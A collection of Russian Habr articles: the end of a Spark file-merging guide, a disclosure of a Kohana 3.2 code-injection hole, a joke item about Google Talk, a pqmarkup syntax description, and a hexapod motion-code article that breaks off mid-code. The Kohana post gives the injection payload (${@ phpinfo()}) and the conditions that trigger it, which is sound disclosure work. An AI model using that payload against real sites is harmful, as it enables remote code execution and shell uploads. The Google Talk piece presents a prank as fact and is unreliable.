Последний шаг - это этап объединения сгруппированных файлов (подготовленных на 2-ом шаге) в один файл. Как вы можете догадаться - это несложно. Прочтите файлы (в примере кода выше - файл Parquet, но это может быть файл любого формата) с помощью функции `spark.read()`, передав список файлов этой группе, а затем используйте `coalesce(1)`, чтобы объединить их в один. Вот еще одна интересная деталь. Мы снова используем параллельные коллекции для выполнения объединения, поэтому объединение каждой группы в одном каталоге происходит параллельно. Итак, если есть *m* каталогов и *n* групп в каждом каталоге, будет *запущено m x n* параллельных задач.
Режим записи - “append”, так как во время записи объединенного файла , как я уже упоминал ранее, несколько каталогов обрабатываются параллельно, и поскольку целевой каталог одинаков для всех, режим “overwrite” завершится ошибкой с сообщением “Directory already exists”. Необходимо убедиться, что целевой каталог новый.
...
На этом все. Теперь даже KiB файлы будут объединены в МБ или ГБ. Вы заметите повышение производительности ваших запросов на чтение при сканировании меньшего количества файлов.
* **Что дальше?**
1. Одно из возможных улучшений этого скрипта состоит в том, чтобы вместо объединения уже существующих файлов оптимально объединять датасет перед выполнением операций IO с помощью задачи записи. Я поделюсь в другой публикации, как это можно сделать. Между тем, этот скрипт можно использовать для объединения исторических датасетов.
2. Как я уже упоминал, шаг#2, который определяет группу файлов для объединения, не всегда удачен. Если вы знаете алгоритм кластеризации, который может сделать это оптимальным образом, чтобы после объединения было минимальное количество файлов, добро пожаловать в PR :-)
---
> Материал подготовлен в рамках курса [«Data Engineer».](https://otus.pw/NvA6/) Всех желающих приглашаем на открытый урок [«Введение в оркестрацию»](https://otus.pw/1DPa/). На занятии подробно разберем, что такое платформы оркестрации, какие решения есть сегодня на рынке и даже углубимся в практический пример использования одной из самых распространенных платформ на сегодня: Apache Airflow.
>
> [**→ РЕГИСТРАЦИЯ**](https://otus.pw/1DPa/)
>
> | https://habr.com/ru/post/572522/ | null | ru | null |
# Уязвимость в Kohana?
Вчера наш портал, написанный на Kohana, подвергся успешной атаке. Мысль, что грешить надо именно на уважаемый фреймворк, безопасность в котором далеко не на последнем месте, сначала даже не обсуждалась. Программке, которой сканировали наш сайт, потребовалось порядка 95 тысяч запросов и 5 часов времени, чтобы найти эту уязвимость. Взгляните внимательно на эти две функции из ядра Коханы версии 3.2:
```
public function redirect($url = '', $code = 302)
{
$referrer = $this->uri();
$protocol = ($this->secure()) ? 'https' : TRUE;
if (strpos($referrer, '://') === FALSE)
{
$referrer = URL::site($referrer, $protocol, ! empty(Kohana::$index_file));
}
if (strpos($url, '://') === FALSE)
{
// Make the URI into a URL
$url = URL::site($url, TRUE, ! empty(Kohana::$index_file));
}
if (($response = $this->response()) === NULL)
{
$response = $this->create_response();
}
echo $response->status($code)
->headers('Location', $url)
->headers('Referer', $referrer)
->send_headers()
->body();
// Stop execution
exit;
}
```
```
public static function site($uri = '', $protocol = NULL, $index = TRUE)
{
// Chop off possible scheme, host, port, user and pass parts
$path = preg_replace('~^[-a-z0-9+.]++://[^/]++/?~', '', trim($uri, '/'));
if ( ! UTF8::is_ascii($path))
{
// Encode all non-ASCII characters, as per RFC 1738
$path = preg_replace('~([^/]+)~e', 'rawurlencode("$1")', $path);
}
// Concat the URL
return URL::base($protocol, $index).$path;
}
```
Как видно, при использовании функции редиректа у реквеста к текущему uri применяется функция URL::site, в которой используется preg\_replace с модификатором исполнения «e»: к каждому сегменту урла применяется rawurlencode, причем сегмент передается в двойных кавычках, что позволяет передать туда что-нибудь вроде (${@ phpinfo()}), и оно отработает. Таким образом, если у нас по ссылке http://site/path/param1 производится редирект, то дописав в param1 выражение вроде (${@ phpinfo()}), можно выполнить какой-нибудь код. **Главное, чтобы param1 содержал еще и не ascii-символы, к примеру русские буквы**. В нашем случае, после того как уязвимость была найдена ботом, за дело взялся человек, и спустя некоторое время нехитрыми манипуляциями смог залить шелл через эту дырку. Неоценимую помощь в этом оказал еще такой момент. Кохановский обработчик исключений имеет такой кусочек:
```
public static function handler(Exception $e)
{
// ..... //
if (Request::$current !== NULL AND Request::current()->is_ajax() === TRUE)
{
// Just display the text of the exception
echo "\n{$error}\n";
exit(1);
}
// ..... //
}
```
Запрос имеет заголовок X-Requested-With равным XMLHttpRequest? Держите сообщение об ошибке! **В трекер Kohana уже отписались.** | https://habr.com/ru/post/150201/ | null | ru | null |
# Google Talk: борьба с глобальным потеплением
Ребята из Google заботятся об окружающей среде. Они подсчитали, что каждый символ, отсылаемый через Google Talk приводит к выбросу в атмосферу около 0.0000000000000000034 тонн углекислого газа (CO2). Поэтому, отныне и впредь, Google Talk будет конвертировать все наши сообщения в слэнговые — это позволит сэкономить миллионы символов, которые мы тратим в пустую.
Например, вы хотите написать:
`Если мне не изменяет память, ты мне должен 20 долларов`
Этот текст будет конвертирован в:
`Емнип, ты мне должен 20$`
Пока это работает только на английском (IMHO, AFAIC, etc), но, уверен, скоро появятся локализованные версии.
Потренироваться в общении можно с этим ботом: en2im@bot.talk.google.com. Его онлайн версия и источник этого поста доступны [здесь](http://googletalk.blogspot.com/2008/03/google-talk-goes-green.html). | https://habr.com/ru/post/22694/ | null | ru | null |
# Новый облегчённый язык разметки текста на основе парных кавычек (pq)
Я не могу объяснить, откуда пришла идея такого языка разметки, но то, что получилось в итоге — весьма… занятно.
Не слишком-то рассчитываю на широкое практическое применение этой штуки, но некоторые идеи, использованные в этом языке разметки, вполне могут дать пищу для размышлений и как-то поспособствовать развитию других существующих или новых языков.
Итак, перейду к описанию самого языка. [Если кто-то вдруг не понял, о чём вообще идёт речь, то к [облегчённым языкам разметки](https://ru.wikipedia.org/wiki/%D0%AF%D0%B7%D1%8B%D0%BA_%D1%80%D0%B0%D0%B7%D0%BC%D0%B5%D1%82%D0%BA%D0%B8#.D0.9E.D0.B1.D0.BB.D0.B5.D0.B3.D1.87.D1.91.D0.BD.D0.BD.D1.8B.D0.B5_.D1.8F.D0.B7.D1.8B.D0.BA.D0.B8_.D1.80.D0.B0.D0.B7.D0.BC.D0.B5.D1.82.D0.BA.D0.B8) относятся Markdown, BBCode, вики-разметка и т.п.]
Данная разметка основана на одиночных парных кавычках — символах `‘` и `’` (вопрос выбора именно этих символов разъясняется ниже в P.S.), поэтому пока что я остановился на таком варианте названия: *пк-разметка* или *pqmarkup* (paired quotes markup).
### Как же эти кавычки набирать на клавиатуре?
В ОС семейства Windows можно с помощью программы [AutoHotkey](https://autohotkey.com/download/) назначить глобальные горячие клавиши для ввода любых спец-символов. Чтобы назначить например Alt+9 и Alt+0 для ввода одиночных парных кавычек достаточно добавить такие две строчки в файл-скрипт настроек:
```
Alt & 9:: SendInput {‘}
Alt & 0:: SendInput {’}
```
Также в Windows можно использовать без дополнительных настроек сочетание клавиш Alt+0145 (на цифровой клавиатуре) для открывающей кавычки `‘` и Alt+0146 для закрывающей `’` (правда во многих программах чтобы это работало требуется включённый Num Lock).
**Визуально на цифровой клавиатуре эти цифры расположены очень удачно:**
```
┌───┬───┐
│ 4 │ 5 │
├───┼───┘
│ 1 │
├───┴───┐
│ 0 │
└───────┘
```
Похоже на открывающую квадратную скобочку `[`.
Очень легко запомнить.
Синтаксис пк-разметки
---------------------
### Оформление текста
| | |
| --- | --- |
| `*‘жирный’` | **жирный** |
| `_‘подчёркнутый’` | подчёркнутый |
| `-‘зачёркнутый’` | ~~зачёркнутый~~ |
| `~‘курсив’` | *курсив* |
> *Примечание:*
>
> Вот так не работает: `~*‘жирный курсив’` (будет просто ~**жирный**), пишите так: `~‘*‘`***жирный курсив***`’’` или так: `*‘~‘`***жирный курсив***`’’` (так и задумано).
>
> Обратите внимание, что использование отдельных символов для открывающей и закрывающей кавычек предоставляет возможность неограниченной вложенности элементов форматирования.
### Ссылки и всплывающие подсказки
Ссылка[http://адрес]
Ссылка[http://адрес ‘текст всплывающей подсказки’]
Текст[‘текст всплывающей подсказки’]
**Подробнее (больше примеров)**
| Пк-разметка | HTML | Как выглядит |
| --- | --- | --- |
| [http://address] | <http://address> | <http://address> |
| ссылка[http://address] | [ссылка](http://address) | [ссылка](http://address) |
| ссылка[https://address] | [ссылка](https://address) | [ссылка](https://address) |
| ‘многословная ссылка’[http://address] | [многословная ссылка](http://address) | [многословная ссылка](http://address) |
| ссылка[https://address ‘текст всплывающей подсказки’] | [ссылка](https://address "текст всплывающей подсказки") | [ссылка](https://address "текст всплывающей подсказки") |
| текст[‘текст всплывающей подсказки’] | текст | текст |
### Заголовки, картинки, цвет и таблицы
| | | |
| --- | --- | --- |
| Н (русская) | H (английская) | Название заголовка\Header |
| Р (русская) | P (английская) | Рисунок\Picture [почему не I(image)] |
| С (русская) | C (английская) | цвет(Свет)\Color |
| Т (русская) | T (английская) | Таблица\Table |
*Примеры:*
Заголовок — Н‘Название заголовка’
Картинка — Р‘http://адрес\_картинки’
Текст красным цветом — С(#фф0000)‘текст’
**Подробнее (больше примеров)**
| Пк-разметка | HTML | Как выглядит |
| --- | --- | --- |
| Заголовки\Headers |
| H‘Заголовок’ | Заголовок | Заголовок |
| H(0)‘Заголовок’ |
| H(1)‘Заголовок’ | Заголовок | Заголовок |
| H(+1)‘Заголовок’ |
| H(-1)‘Заголовок’ | Заголовок | Заголовок |
| Изображения/картинки\Pictures |
| P‘https://.../blue\_circle.png’ | | |
| P‘https://.../blue\_circle.png’[http://address] | | |
| P‘https://.../blue\_circle.png’[‘текст всплывающей подсказки’] | | |
| P‘https://.../blue\_circle.png’[http://address ‘текст всплывающей подсказки’] | | |
| Цвет текста |
| Цвет задаётся в формате #ККЗЗСС (Красный, Зелёный, Синий) посредством шестнадцатеричных цифр (можно использовать кириллицу: абсдеф/АБСДЕФ является аналогом abcdef/ABCDEF) или в формате КЗС посредством цифр от 0 до 8. |
| С(#ff0000)‘красный текст’ | красный текст | красный текст |
| красный текст |
| С(800)‘тоже красный текст’ | тоже красный текст | тоже красный текст |
| тоже красный текст |
| С(000)‘чёрный текст’ | чёрный текст | чёрный текст |
| чёрный текст |
| С(4)‘серый текст’ | серый текст | серый текст |
| серый текст |
| С(-880)‘текст на жёлтом фоне’ | текст на жёлтом фоне | |
| Таблицы |
| `Т‘
Н‘‘A’ ‘B’ ‘C’’
‘‘1’ ‘2’ ‘3’’
’` |
| A | B | C |
| 1 | 2 | 3 |
|
| A | B | C |
| --- | --- | --- |
| 1 | 2 | 3 |
|
| Объединение ячеек таблицы |
| Чтобы объединить ячейки таблицы, нужно каждую отсутствующую ячейку заменить на символ `-` или символ `|` таким образом, чтобы следуя по символу `-` влево и по символу `|` вверх можно было выйти на соответствующую значимую ячейку. |
| `Т‘‘
‘A’ ‘B’
’‘
‘C’ -
’’` |
| A | B |
| C |
|
| | |
| --- | --- |
| A | B |
| C |
|
| `T‘‘
‘ ’ ‘ ’ ‘1’ ’‘
‘ ’ ‘ ’ | ’‘
‘2’ - | ’’` |
| | | 1 |
| | |
| 2 |
|
| | | |
| --- | --- | --- |
| | | 1 |
| | |
| 2 |
|
| `T‘‘
‘ ’ ‘ ’ ‘1’ ’‘
‘ ’ ‘ ’ | ’‘
‘2’ - - ’’` |
| | | 1 |
| | |
| 2 |
|
| | | |
| --- | --- | --- |
| | | 1 |
| | |
| 2 |
|
| Для больших объединений ячеек (2х2 и более): вправо от значимой ячейки идут символы `-`, вниз идут символы `|`, а остальные отсутствующие ячейки можно заполнять либо символом `-` либо `|`, но рекомендуется всегда использовать `-`. |
| `T‘‘
‘1’ - - ‘2’ ’‘
| - - ‘3’ ’‘
| - - ‘4’ ’‘
‘5’ ‘6’ ‘7’ ’’` |
| 1 | 2 |
| 3 |
| 4 |
| 5 | 6 | 7 |
|
| | |
| --- | --- |
| 1 | 2 |
| 3 |
| 4 |
| 5 | 6 | 7 |
|
### Комментарии
[[[комментарий/контейнер для воды (:]]]
#### [Полное описание синтаксиса форматирования.](https://pqmarkup.github.io/ru/syntax)
**(Если кому интересно, вот немного истории выбора тегов [для таблиц])**
Изначально я планировал альтернативный вариант задания тегов. Вот такой:
`[[H]Header/Заголовок[-H]]`
или
`[[H]Header/Заголовок[-]]`
или
`[[H]Header/Заголовок]`
Соответственно, таблицы задавались тегом `[[T]...]`
Разделитель столбцов был таким — `[]`
Разделитель строк был таким — `[[]]`
Пример таблицы:
```
[[Т]
A[]B[]C
[[]]
1[]2[]3
[-Т]]
```
или так:
```
[[Т]
[[]]A[]B[]C
[[]]1[]2[]3
[-Т]]
```
(Закрывающий тег `[-Т]` можно опустить.)
Но потом я вспомнил, что несколько вариантов выбора для одного и того же форматирования — это то, что мне не нравится в Markdown (например: `__так__` или `**так**`), и я решил, что оставлять два варианта форматирования в пк-разметке (`~‘...’` и `[[~]...]`) будет неправильно. А значит, имеет смысл оставить только одну форму записи — с кавычками `‘’`, так как она менее конфликтующая и является первой/основной идеей, положившей начало этой разметки текста {а то, что набирать символы кавычек `‘` и `’` непривычно — я считаю, это не так страшно, так как [с моей точки зрения] важнее читаемость разметки и её когнитивные характеристики (легко понять/запомнить правила разметки, легко читать/воспринимать размеченный текст), а также снижение вероятности возникновения конфликтов (когда простой текст или формула [ошибочно/]ненамеренно трактуется как разметка) и избежание необходимости что-то экранировать (а то ведь часто можно и пропустить/не заметить такие ошибки — когда размеченный текст преобразовался немного не в то, что задумывалось)}.
Определившись с выбором в пользу кавычек, сначала я хотел сделать такой разделитель строк — `‘’` (по аналогии с `[]`), но быстро одумался (ведь тогда возникает проблема с пустыми ячейками в самой таблице) и пришёл к нынешней форме записи:
`Т‘
‘‘A’ ‘B’ ‘C’’
‘‘1’ ‘2’ ‘3’’
’`
или так:
`Т‘‘
‘A’ ‘B’ ‘C’
’‘
‘1’ ‘2’ ‘3’
’’`
(Разумеется, эта форма записи не самая приятная для набора и я немало думал над тем, возможно ли её как-то упростить (или хотя бы дать возможность альтернативной более простой формы записи для таблиц, как в [GitHub Flavored Markdown](https://github.github.com/gfm/#tables-extension-) или в [Habrahabr Flavored Markdown](https://habrahabr.ru/info/help/markdown/) [к слову сказать, в большинстве реализаций Markdown не поддерживаются таблицы без заголовков]), но решил остановиться на нынешней форме записи, так как она итак достаточно лёгкая (по сравнению с HTML
) и при этом имеет неоспоримое преимущество [перед более простой формой записи] — возможность включать в ячейку таблицы всё что угодно (включая любые другие элементы разметки и даже вложенные таблицы), а также нынешняя форма записи даёт возможность использовать пробелы в начале и в конце строки любой ячейки таблицы (возможность спорная, но может пригодиться для экспорта таблиц баз данных).)
**(Если кому интересно, вот история/‘как я пришёл к’ нынешней форме записи для объединения ячеек таблицы)**
… не, решил спрятать в комментарий и не включать в статью, а если кому это и правда интересно, тогда смотрите исходник статьи.
*[Исходник данной статьи](https://gist.github.com/alextretyak/4d0cbab44fd2605febcbbd870f997b2f) написан на пк-разметке. Преобразован к формату Habr HTML посредством [реализации на Python](https://pypi.python.org/pypi/pqmarkup) (c флагом командной строки `--habr-html`).*
**P.S.**
Причины (впрочем, достаточно субъективные), почему я выбрал именно символы `‘’` (а не `´ или, скажем, «» или `“”`):
1. Они достаточно приятно выглядят (в соответствующем шрифте [например, Courier New]). На мой взгляд, лучше, чем «» или ‹›.
2. Они идут подряд друг за другом в любой кодировке (в отличие от `´ или «» или ‹›) [также как и `“”`].
3. Почему не `“”` — в русских текстах парным символу `“` является `„` ([Экранная типографика. Кавычки](http://www.artlebedev.ru/kovodstvo/sections/62/ "(смотри также [http://www.artlebedev.ru/kovodstvo/sections/104/])")).
4. **А ещё мне коды[/годы] этих символов нравятся...**
201? и 201¿
Один существенный минус символов кавычек `‘` и `’` в том, что символ закрывающей одиночной кавычки `’` [согласно](https://en.wikipedia.org/wiki/Apostrophe#Unicode "RIGHT SINGLE QUOTATION MARK is the preferred character to use for apostrophe") текущему стандарту Юникод является предпочтительным символом в качестве знака апострофа, и во многих документах и веб-страницах на английском языке символ `’` действительно используется в качестве апострофа (например так: `Don’t`), в том числе — в [сгенерированной документации к Python](https://docs.python.org/devguide/documenting.html), впрочем в HTML-коде там ~~используется~~[ещё недавно использовался](http://web.archive.org/web/20170711160221/https://docs.python.org/devguide/documenting.html) HTML entity `’`, а в исходных [rst-файлах документации](https://github.com/python/devguide/blob/master/documenting.rst) используется обычный апостроф ' — так что и html (при использовании `’`) и rst-файлы можно заключать в `‘`такие`’` кавычки без проблем [и, к слову, наиболее известные [мне] типографы (за редким исключением) вставляют HTML-entity `’` [или `’` или `'` или `’`], а не непосредственно сам символ закрывающей кавычки `’`, а если посмотреть на крупнейшие англоязычные новостные ресурсы, то можно заметить, что на многих из них в качестве апострофа используется просто символ апострофа `'` (вопреки рекомендации Unicode Consortium)], но если есть такая необходимость, то пк-разметка позволяет вставить непарную открывающую `‘` и закрывающую `’` кавычку: так ``‘`` или так `'‘’` (смотри [Дополнительные возможности форматирования. "Сырой"\Raw HTML](https://pqmarkup.github.io/ru/syntax)).
Ещё один минус [символов кавычек `‘` и `’`] — неоднозначность отображения символов `‘` и `’` во многих популярных шрифтах. В частности, в Consolas, используемом в GitHub и Bitbucket. И вообще, символы парных кавычек в разных шрифтах выглядят по-разному (в том числе и в моноширинных шрифтах для программирования):
[На мой взгляд, это просто показывает, что в целом отсутствует чёткое/однозначное представление о том, как должны выглядеть эти символы.]
(Кстати, на Хабре символы одиночных парных кавычек отображались вполне приемлимо (по крайней мере, в Windows) за счёт использования Verdana для основного текста и Courier New для кода, но несколько месяцев назад шрифт для основного текста статей поменяли на Arial, из-за чего пришлось немного подправлять статью — заменять ‘ и ’ на `‘` и `’` (в pq: ``‘`` и ``’``).) | https://habr.com/ru/post/348218/ | null | ru | null |
# Оживляем гексапода. Часть вторая
### Видео двигающегося гексапода
В сравнении с [предыдущей публикацией](https://habr.com/ru/post/488810/) ее [предшественница](https://habr.com/ru/post/485856/) получилась более зрелищная, благодаря большому количеству фотографий. Хочется заполнить пробел в этом вопросе и представить вам несколько видео, на котором запечатлен небольшой тест-драйв робота по квартире.
Управление роботом происходит оператором с телефона через Wi-Fi. Но при просмотре первых двух видео может сложиться обманчивое впечатление, что гексапод обладает зачатками интеллекта. К сожалению, это пока не так…
Далее робот был изгнан с мягкого ковра на достаточно скользкий линолеум, на котором показал неплохой результат.
### Реализация движений гексапода
Как было упомянуто в [прошлось статье](https://habr.com/ru/post/488810/), за реализацию движений робота отвечает класс *MotionJob* и производные классы, унаследованные от класса *Motion*.
Класс *MotionJob* имеет всего всего один публичные метод *execute*, запускающий заданное движение на исполнение.
**int MotionJob::execute(Motion\* pMotion)**
```
int MotionJob::execute(Motion* pMotion) {
if(m_Status == NONE && pMotion != NULL) {
m_pMotion = pMotion;
m_MotionTime = 0;
m_TotalTime = m_pMotion->totalTime();
m_Status = RUNING;
} else if(pMotion != NULL){
if(m_pMotion->m_pNext != NULL)
delete m_pMotion->m_pNext;
m_pMotion->m_pNext = pMotion;
m_Status = STOPING;
}
return S_OK;
}
```
Его логика довольно проста. В качестве параметра он принимает указатель на объект, описывающий процесс движения. Если на текущий момент на исполнении не было никакого другого движения, то указанное движение становится активным, и оно переходит в состояние выполнения (*RUNING*). В том случае, когда на исполнении уже было какое-то движение, то его переводим в состояние остановки (*STOPING*), а новое движение записывается в качестве следующего в поле *m\_pNext*.
**ВАЖНО:** Принято соглашение, что все объекты унаследованные от *Motion* подразумевают создание в динамической области памяти (через *new*)и освобождаются классом *MotionJob* после завершения движения или его отмены.
Класс *MotionJob*, будучи унаследованным от *AJob*, реализует всю магию движения в перекрытом методе *onRun*, который вызывается с заданной периодичностью в процессе функционирования робота.
**void MotionJob::onRun()**
```
void MotionJob::onRun() {
Vector3D points[FOOTS_COUNT];
int pose[FOOTS_COUNT][3];
// если движение не задано, завершаем работу
if(m_pMotion == NULL)
return;
// Положение конечностей робота может быть задано как набор углов каждого сустава,
// или как массив координат точек в которых должны располагаться концы лап робота.
// Один из вариантов должен быть реализован.
int res;
if(m_pMotion->getPose(min(m_MotionTime, m_pMotion->maxTime()), pose) == S_OK) {
res = m_pGeksapod->_setPose(pose);
} else if(m_pMotion->getPose(min(m_MotionTime, m_pMotion->maxTime()), points) == S_OK) {
res = m_pGeksapod->_setPose(points);
}
// обновляем время исполнения текущего движения
m_MotionTime += MOTION_JOB_PERIOD;
// если движение ограничено по времени, уменьшаем его на значение,
// не допуская проваливание в отрицательный диапазон:
// отрицательное значение m_TotalTime - признак неограниченного по времени движения
if(m_TotalTime > 0) {
m_TotalTime -= MOTION_JOB_PERIOD;
m_TotalTime = max(0,m_TotalTime);
}
// если время выполнения зацикленного движения истекло,
// переводим его в состояние принудительной остановки
if(m_TotalTime == 0 && m_pMotion->isLooped()) {
m_Status = STOPING;
}
// Не циклическое движение или движении в состоянии остановки
// при достижении окончания должно быть завершено и удалено из памяти.
if( (m_MotionTime - m_pMotion->maxTime() >= MOTION_JOB_PERIOD && (!m_pMotion->isLooped() || m_Status == STOPING)) ) { // время истекло
// запоминаем указатель на возможное следующее движение
Motion* pNextMotion = m_pMotion->m_pNext;
m_pMotion->m_pNext = NULL;
delete m_pMotion;
m_pMotion = NULL;
// и запускаем его
m_Status = NONE;
execute(pNextMotion);
} else if(m_MotionTime - m_pMotion->maxTime() >= MOTION_JOB_PERIOD) {
// для зацикленного движения не требующего остановки
// мы сбрасываем счетчик времени и начинаем новый цикл движения
m_MotionTime = 0;
}
}
```
Приведенный код содержит достаточно комментариев о своей работе, поэтому в качестве дополнения отмечу лишь несколько ключевых моментов:
* Класс *Motion* позволяет нам описать движение робота либо через набор координат точек концов лап гексапода (*Vector3D points[FOOTS\_COUNT]*), либо через набор значений углов поворота его суставов (*int pose[FOOTS\_COUNT][3]*). Поэтому сначала, выполняется попытка получить результат как набор координат. Если попытка оказалась неудачной и метод *getPose* вернул ошибку реализации, используем второй вариант вызова *getPose*. Полученный результат мы передаем в метод *\_setPose*, переводя тем самым конечности робота в заданное положение для данного момента времени.
* Движения могут носить обычный или цикличный характер. Обычное движение при достижении конца периода времени отведенного на исполнение одного цикла движения (возвращается методом *Motion::maxTime()*) будет тут же завершено.
Циклические движения будут завершены только после принудительной остановки, которая возникает в момент вызова метода *execute* (может быть вызван с пустым указателем), или при достижении положительного момента времени, которое отведено на исполнение движения (возвращается методом *Motion::totalTime()*).
Для описания различных вариантов движения определены следующие классы:
**class TransPoseMotion**
```
class TransPoseMotion: public Motion {
Vector3D m_Pose0[FOOTS_COUNT]; // начальное положение
Vector3D m_Offset[FOOTS_COUNT]; // вектор перемещения
public:
TransPoseMotion(Vector3D begPose[FOOTS_COUNT], Vector3D endPose[FOOTS_COUNT],
long maxTime, Motion* pNext = NULL);
int getPose(long time, Vector3D points[FOOTS_COUNT]);
};
```
**class TransAnglesMotion**
```
class TransAnglesMotion: public Motion {
char m_Pose0[FOOTS_COUNT][3];
char m_Offset[FOOTS_COUNT][3];
public:
TransAnglesMotion(int begPose[FOOTS_COUNT][3], int endPose[FOOTS_COUNT][3],
long maxTime, Motion* pNext = NULL);
int getPose(long actionTime, int pose[FOOTS_COUNT][3]);
};
```
**class LinearMotion**
```
class LinearMotion: public Motion {
// положение конечности в начале (и конце) шага
Vector3D m_Pose0[FOOTS_COUNT];
Vector3D m_Offset; // вектор перемещения в результате шага
int m_Heigth; // высота подъема конечностей
public:
LinearMotion(int heigth, Vector3D pose0[FOOTS_COUNT], Vector3D speed,
long maxTime, long totalTime = -1, Motion* pNext = NULL);
int getPose(long time, Vector3D points[FOOTS_COUNT]);
};
```
**class RotateMotion**
```
class RotateMotion: public Motion {
// положение конечности в начале (и конце) шага
Vector3D m_Pose0[FOOTS_COUNT];
Vector3D m_Angles; // углы поворота в результате шага
int m_Heigth; // высота подъема конечностей
public:
RotateMotion(int heigth, Vector3D pose0[FOOTS_COUNT], Vector3D rotor,
long maxTime, long totalTime = -1, Motion* pNext = NULL);
int getPose(long time, Vector3D points[FOOTS_COUNT]);
};
```
#### Класс TransPoseMotion
Класс *TransPoseMotion* позволяет выполнить перемещение конечностей из одного положения в другое. При создании объекта в конструктор класса передаются координаты точек и период времени, за которой должно быть осуществлено движение.
**TransPoseMotion::TransPoseMotion(...)**
```
TransPoseMotion::TransPoseMotion(Vector3D begPose[FOOTS_COUNT],
Vector3D endPose[FOOTS_COUNT], long maxTime, Motion* pNext) : Motion(maxTime, -1, pNext) {
for(int i = 0; i < FOOTS_COUNT; i++) {
m_Pose0[i] = begPose[i];
m_Offset[i] = endPose[i] - begPose[i];
}
}
```
Зная начальное положение и вектор перемещения для каждой конечности, мы без труда в методе *getPose* можем получить новое положение лап в промежутке времени от *0* до *maxTime*, выполнив простые линейные вычисления.
**int TransPoseMotion::getPose(...)**
```
int TransPoseMotion::getPose(long time, Vector3D points[FOOTS_COUNT]) {
for(int i = 0; i < FOOTS_COUNT; i++)
linearFunc(1.0, m_Offset[i], m_Pose0[i], 1.0*time/m_MaxTime, points[i]);
}
```
Линейные вычисления возлагаются на вспомогательную функцию linearFunc, которая представляет собой обычное линейное уравнение с параметрами, задаваемыми через аргументы функции.
**void linearFunc(...)**
```
void linearFunc(float a, Vector3D offset, Vector3D p0, float k, Vector3D& res) {
res = a*offset*k + p0;
}
```
#### Класс TransAnglesMotion
Логика данного класса аналогична предыдущему. Отличие заключается лишь в том, что в классе *TransAnglesMotion* положения конечностей гексапода задаются набором углов, на которые должны быть согнуты его суставы, а не пространственными координатами концов лап робота.
**TransAnglesMotion::TransAnglesMotion(...)**
```
TransAnglesMotion::TransAnglesMotion(int begPose[FOOTS_COUNT][3],
int endPose[FOOTS_COUNT][3], long maxTime, Motion* pNext) : Motion(maxTime, -1, pNext) {
for(int i = 0; i < FOOTS_COUNT; i++) {
for(int j = 0; j < 3; j++) {
m_Pose0[i][j] = begPose[i][j];
m_Offset[i][j] = endPose[i][j] - begPose[i][j];
}
}
}
```
**int TransAnglesMotion::getPose(...)**
```
int TransAnglesMotion::getPose(long time, int pose[FOOTS_COUNT][3]) {
for(int i = 0; i < FOOTS_COUNT; i++) {
for(int j = 0; j < 3; j++)
pose[i][j] = m_Pose0[i][j] + (int)(1.0*m_Offset[i][j]*time/m_MaxTime);
}
return S_OK;
}
```
#### Класс LinearMotion
Реализация прямолинейного движения требует немного большего объема кода и вашего внимания. Конструкция гексапода имеет оптимальное количество конечностей, позволяя при движении всегда иметь три точки опоры, таким образом, чтобы проекция центра масс робота всегда располагалась внутри образованного ими треугольника. Это обеспечивает устойчивое положение робота при движении. Поэтому прямолинейное движение робота можно рассматривать как множество одинаковых шагов. В каждом таком шаге можно можно выделить две фазы. В первой фазе одна триада ног касается поверхности и их окончания перемещаются параллельно поверхности в направлении противоположном направлению движения. При этом вторая триада лап, не касаясь поверхности, по криволинейной траектории двигается в направлении движения робота. В определенный момент времени они достигают своего крайнего положения, и вторая триада начинает соприкасаться с поверхностью. Во в второй фазе процесс движения повторяется, только на это раз вторая триада выполняет перемещение робота, а первая возвращается в исходную точку.
Данная анимация была найдена при подготовке статьи в просторах интернета на [этой странице](https://news.myseldon.com/ru/news/index/196900973), но после ознакомления с ней я убедился, что ее первоначальным источником был [habr](https://habr.com/ru/post/426195/), а автором публикации является уважаемый [conKORD](https://habr.com/ru/users/conKORD/).
При реализации движения по прямой нам необходимо задать высоту отрыва лап от поверхности (*heigth*), положение конечностей робота в начале (и в конце) движения (*pose0*), вектор скорости (*speed*), время выполнения одного шага (*maxTime*) и сколько времени робот должен выполнять движение (*totalTime*). Если указать отрицательное значение *totalTime*, движение будет выполняться бесконечно пока не кончится заряд робота или движение не будет принудительно завершено.
**LinearMotion::LinearMotion(...)**
```
LinearMotion::LinearMotion(int heigth, Vector3D pose0[FOOTS_COUNT], Vector3D speed,
long maxTime, long totalTime, Motion* pNext = NULL)
: Motion(maxTime, true, totalTime, pNext) {
copyPose(m_Pose0, pose0);
m_Offset = 1.0*speed*maxTime/1000;
m_Heigth = heigth;
}
```
Несмотря на то, что метод *getPose* содержит внушительный объем кода, он достаточно прост.
**int LinearMotion::getPose(...)**
```
int LinearMotion::getPose(long time, Vector3D points[FOOTS_COUNT]) {
double k = 1.0*time/m_MaxTime;
if(k < 0.25) { // первая четверть шага
linearFunc(2.0, -m_Offset, m_Pose0[LEFT_FRONT_FOOT_IDX], k,
points[LEFT_FRONT_FOOT_IDX]);
linearFunc(2.0, -m_Offset, m_Pose0[LEFT_BACK_FOOT_IDX], k,
points[LEFT_BACK_FOOT_IDX]);
linearFunc(2.0, -m_Offset, m_Pose0[RIGTH_MIDLE_FOOT_IDX], k,
points[RIGTH_MIDLE_FOOT_IDX]);
linearFunc(2.0, m_Offset, m_Pose0[LEFT_MIDLE_FOOT_IDX], k,
points[LEFT_MIDLE_FOOT_IDX]);
linearFunc(2.0, m_Offset, m_Pose0[RIGTH_FRONT_FOOT_IDX], k,
points[RIGTH_FRONT_FOOT_IDX]);
linearFunc(2.0, m_Offset, m_Pose0[RIGTH_BACK_FOOT_IDX], k,
points[RIGTH_BACK_FOOT_IDX]);
int h = (int)m_Heigth*cos(M_PI*k*2);
points[LEFT_MIDLE_FOOT_IDX].z += h;
points[RIGTH_FRONT_FOOT_IDX].z += h;
points[RIGTH_BACK_FOOT_IDX].z += h;
} else if(k < 0.5) { // вторая четверть шага
linearFunc(2.0, m_Offset, m_Pose0[LEFT_FRONT_FOOT_IDX], k - 0.5,
points[LEFT_FRONT_FOOT_IDX]);
linearFunc(2.0, m_Offset, m_Pose0[LEFT_BACK_FOOT_IDX], k - 0.5,
points[LEFT_BACK_FOOT_IDX]);
linearFunc(2.0, m_Offset, m_Pose0[RIGTH_MIDLE_FOOT_IDX], k - 0.5,
points[RIGTH_MIDLE_FOOT_IDX]);
linearFunc(2.0, -m_Offset, m_Pose0[LEFT_MIDLE_FOOT_IDX], k - 0.5,
points[LEFT_MIDLE_FOOT_IDX]);
linearFunc(2.0, -m_Offset, m_Pose0[RIGTH_FRONT_FOOT_IDX], k - 0.5,
points[RIGTH_FRONT_FOOT_IDX]);
